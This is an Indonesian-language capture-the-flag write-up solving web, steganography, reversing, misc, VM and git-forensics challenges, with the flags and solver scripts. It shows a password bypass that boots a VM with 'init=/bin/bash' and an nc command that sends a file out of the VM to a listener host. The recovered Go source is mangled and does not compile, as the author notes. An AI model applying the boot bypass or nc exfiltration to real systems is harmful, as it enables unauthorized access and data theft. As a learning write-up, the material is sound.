Website

PR me, please

Diberikan sebuah web 10.0.181.112:15110, untuk mendapatkan flag cukup gunakan salah satu situs dibawah ini sebagai Referer ke situs challenge.

https://www.yandex.ru/
https://www.facebook.com/
https://www.wikipedia.org/
https://telegram.org/
https://www.whatsapp.com/
$ curl -e 'www.yandex.ru' 'http://10.0.181.112:15110/'

Flag : yoUUGOOODhacker46466464

Stegano

Sweet dreams

Diberikan sebuah file doc bernama _.doc. Untuk mendapatkan Flag, cukup dengan melakukan unzip

$ strings _.doc | grep flag
word/media/flag.png
word/media/flag.png
$ unzip _.doc

Setelah itu Flag berada di word/media/flag.png

Flag : DIFFERENT AGE SANDWICH?

Reversing

We’ve discovered another planet!

Diberikan file binary .NET bernama scream.exe, sesuai dengan nama nya apabila program tersebut dijalankan, akan mengeluarkan teriakan yang sangat lama.

Dari hasil decompile menggunakan ILSpy, program akan menampilkan Flag apabila waktu “teriakan” nya selesai

 here is the code

Karena yang ditampilkan adalah Object gambar, bisa menggunakan foremost untuk melakuan carving sehingga file Flag tersebut bisa didapatkan tanpa harus menunggu waktu “teriakan” habis.

$ foremost -i scream.exe -v

Flag : what_a_lovely_day!

We’re losing her

Diberikan sebuah file PE Executable bernama Horsereanimation.exe, program tersebut akan terhubung ke Time Server yang akan mencocokan dengan Subscription TIme. Apabila ingin mendapatkan Flag, Period Subscription Time harus berada dibawah waktu yang ditentukan. Disini saya melakukan Patching sehingga bisa mengouput Flag, tapi harus reimplement ulang fungsi generate_flag.

Ganti opcode yang akan memanggil fungsi connect_timeserver menjadi nop.

Dan intruksi jbe ( jum if bellow or equal) menjadi jne atau jnz. Sehingga akan masuk ke fungsi you_get_flag.

Apply Patch nya, lalu jalankan.

$ wine HorseReanimation.exe

Flag : NeverLookAGiftHorseInTheMouth

Admin (Misc)

Terry test

Diberikan sebuah file bernama task.rar, didalam nya terdapat banyak file zip beserta passwordnya. Karena zip dalam zip nya sangat banyak, bisa dilakukan automasi menggunakan Python.

Berikut script yang saya gunakan

from zipfile import ZipFile

def get_passwd(n):
	with open("{}.txt".format(n),"r") as pwd:
		return pwd.read()

for i in range(2,300):
	try:
		with ZipFile('{}.zip'.format(i),"r") as zf:
    			zf.extractall(pwd=get_passwd(i))
    	except:
    		with open("message.txt","r") as flag:
    			print "Flag : {}".format(flag.read())
    			break

Flag : bearlovehoney

Admin (RickAndMorty VM)

Diberikan sebuah VM bernama RickAndMorty dengan OS Debian. Saya mengubah konfigurasi default NIC CARD menjadi Bridge Password user tidak diberikan. Oleh karena itu, untuk masuk saya mengubah Boot Parameter ro splash menjadi rw init=/bin/bash agar mendapatkan akses ke system.

May I come in?

Challenge ini berfokus pada user morty. OS nya tidak bisa boot ke Desktop. Dan setelah berpikir-pikir, saya rasa Flag nya ada di wallpaper yang digunakan oleh si morty karena OS nya tidak bisa masuk ke Desktop.

dari melihat file konfigurasi /home/morty/.config/pcmanfm/LXDE/desktop-items-0.conf, didapatkan lokasi wallpaper nya

[*]
wallpaper_mode=stretch
wallpaper_common=0
wallpapers_configured=2
wallpaper0=/etc/alternatives/desktop-background
wallpaper1=/etc/alternatives/desctop-bg.png
desktop_bg=#ffffff
....

Untuk mendapatkan file nya bisa ditransfer menggunakan nc.

On VM

$ nc listener_server 2121 < /etc/alternatives/desctop-bg.png

On my Machine

$ nc -vlp 2121 > wall.png

Flag : MyGrandfatherIsCrazy

Something fell off on the go

Challenge ini berfokus pada user jerry. Untuk mendapatkan Flag, saya hanya menggunakan command find.

$ find /home/jerry -type f 2>/dev/null

Terdapat berbagai file, tapi setelah di cek, file yang terdapat Flag nya adalah file bernama ris.svg.gz

Flag : HorsesGoBackToTheStables

Admin Forensic

Typical Admin, but…

Diberikan sebuah url github TM-PATCH, terdapat file bernama main.go yang telah dicommit, dan repository nya memiliki sekitar 108 branch.

Saya pull semua branch nya dengan script berikut.

#!/bin/bash

for i in $(seq 1 108); do
  git pull https://github.com/MierBen/TM-Patch.git ${i}
done

Karena saya sangat awam dengan git, saya menggunakan tool bernama tig untuk copy manual source code nya.. wkwkwk

Setelah copy susun dan dirapihkan menggunakan Go Beautifier didapatkan source main.go

package main
import ("fmt"
        "encoding/base64"
        "os"
        "strings"
        "archive/tar"
        "io"
        "compress/gzip"
        "strconv")


var MAGIC int

func main() {
        f, err: = os.OpenFile("flag.tar.gz", os.O_RDONLY, 0444)
        if err != nil {
            panic(err)
        }

        gr, err: = gzip.NewReader(f)

        if err != nil {
            panic(err)
        }

        tr: = tar.NewReader(gr)
        for {
            hdr, err: = tr.Next()
            if err == io.EOF {
                break
            }
            if err != nil {
                panic(err)
            }
            path: = hdr.Name
            switch hdr.Typeflag {
                    case tar.TypeDir:
                        if err: = os.MkdirAll(path, os.FileMode(hdr.Mode));
                        err != nil {
                            panic(err)
                        }
                    case tar.TypeReg:
                        ow, err: = os.OpenFile(path, os.O_RDWR | os.O_TRUNC, 0777)
                        if err != nil {
                            ow, err = os.Create(path)
                            if err != nil {
                                panic(err)
                            }
                            if _, err: = io.Copy(ow, tr);
                            err != nil {
                                panic(err)
                            }
                            ow.Close()
                        }
                        gr.Close()
                        f.Close()
                        file, err: = os.OpenFile("morse_flag", os.O_RDONLY, 0444)
                        if err != nil {
                            panic(err)
                        }
                        stat, err: = file.Stat()
                        if err != nil {
                            panic(err)
                        }
                        data: = make([] byte, stat.Size())
                        _, err = file.Read(data)
                        if err != nil {
                            panic(err)
                        }
                        file.Close()
                        splStr: = strings.Split(string(data), " ")
                        var binaryFlag[] string
                        for _, v: = range splStr {
                                var temp[] string
                                for i: = range v {
                                    if string(v[i]) == "*" {
                                        temp = append(temp, "1")
                                    } else if string(v[i]) == "-" {
                                        temp = append(temp, "0"
                                        } else {
                                            continue
                                        }
                                        binaryFlag = append(binaryFlag, strings.Join(temp, ""))
                                    }
                                    binaryFlag = binaryFlag[: len(binaryFlag) - 1]
                                    encodedFlag: = make([] string, len(binaryFlag))
                                    for i: = range binaryFlag {
                                        temp, _: = strconv.ParseInt(binaryFlag[i], 2, 64)
                                        encodedFlag[i] = string(temp)
                                    }
                                    baseFlag: = strings.Join(encodedFlag, "")
                                    unBaseFlag, err: = base64.StdEncoding.DecodeString(baseFlag)
                                    if err != nil {
                                        panic(err)
                                    }
                                    var rotFlag[] byte
                                    MAGIC = 13
                                    for _, v: = range unBaseFlag {
                                        rotFlag = append(rotFlag, v + byte(MAGIC))
                                    }
                                    deBaseRot, err: = base64.StdEncoding.DecodeString(string(rotFlag))
                                    if err != nil {
                                        panic(err)
                                    }
                                    var flag[] byte
                                    MAGIC = (1 << 3) + (1 << 5) - 1
                                    for _, v: = range deBaseRot {
                                        flag = append(flag, v ^ byte(MAGIC))
                                    }
                                    fmt.Print(string(flag))
                                }

Apabila di jalankan mengeluarkan error.

$ go run main.go
package main: 
main_BACK.go:2:14: expected ';', found ','
main_BACK.go:3:9: expected ';', found ','

Karena tidak begitu familier dengan bahasa Go sehingga saya tidak bisa memperbaikinya, tapi inti nya logika bahasa program itu sama, saya membuat nya dalam bahasa Python berdasarkan Algoritma main.go untuk menggenerate Flag. Berikut script yang digunakan

import tarfile

# extract flag.tar.gz

tar = tarfile.open("flag.tar.gz")
tar.extractall()
tar.close()

# open morse_flag
with open("morse_flag") as morse_tmp:
  morse_tmp = morse_tmp.read().split()

morse_flag = []
tmp = ""
for i in morse_tmp:
  tmp = i.replace("*","1")
  tmp = tmp.replace("-","0")
  morse_flag.append(tmp)

unbase = map(lambda x: int(x,2), morse_flag)
unbase = "".join(chr(c) for c in unbase).decode("base64")

rotFlag = "".join(chr(ord(c) + 13) for c in unbase).decode("base64")

MAGIC = (1 << 3) + (1 << 5) - 1 # == 39

flag = "".join(chr(ord(c) ^ MAGIC) for c in rotFlag)
print 'Flag : {}'.format(flag)

Setelah dijalankan akan mendapatkan Flag.

Flag : ItSoHardToProgSolo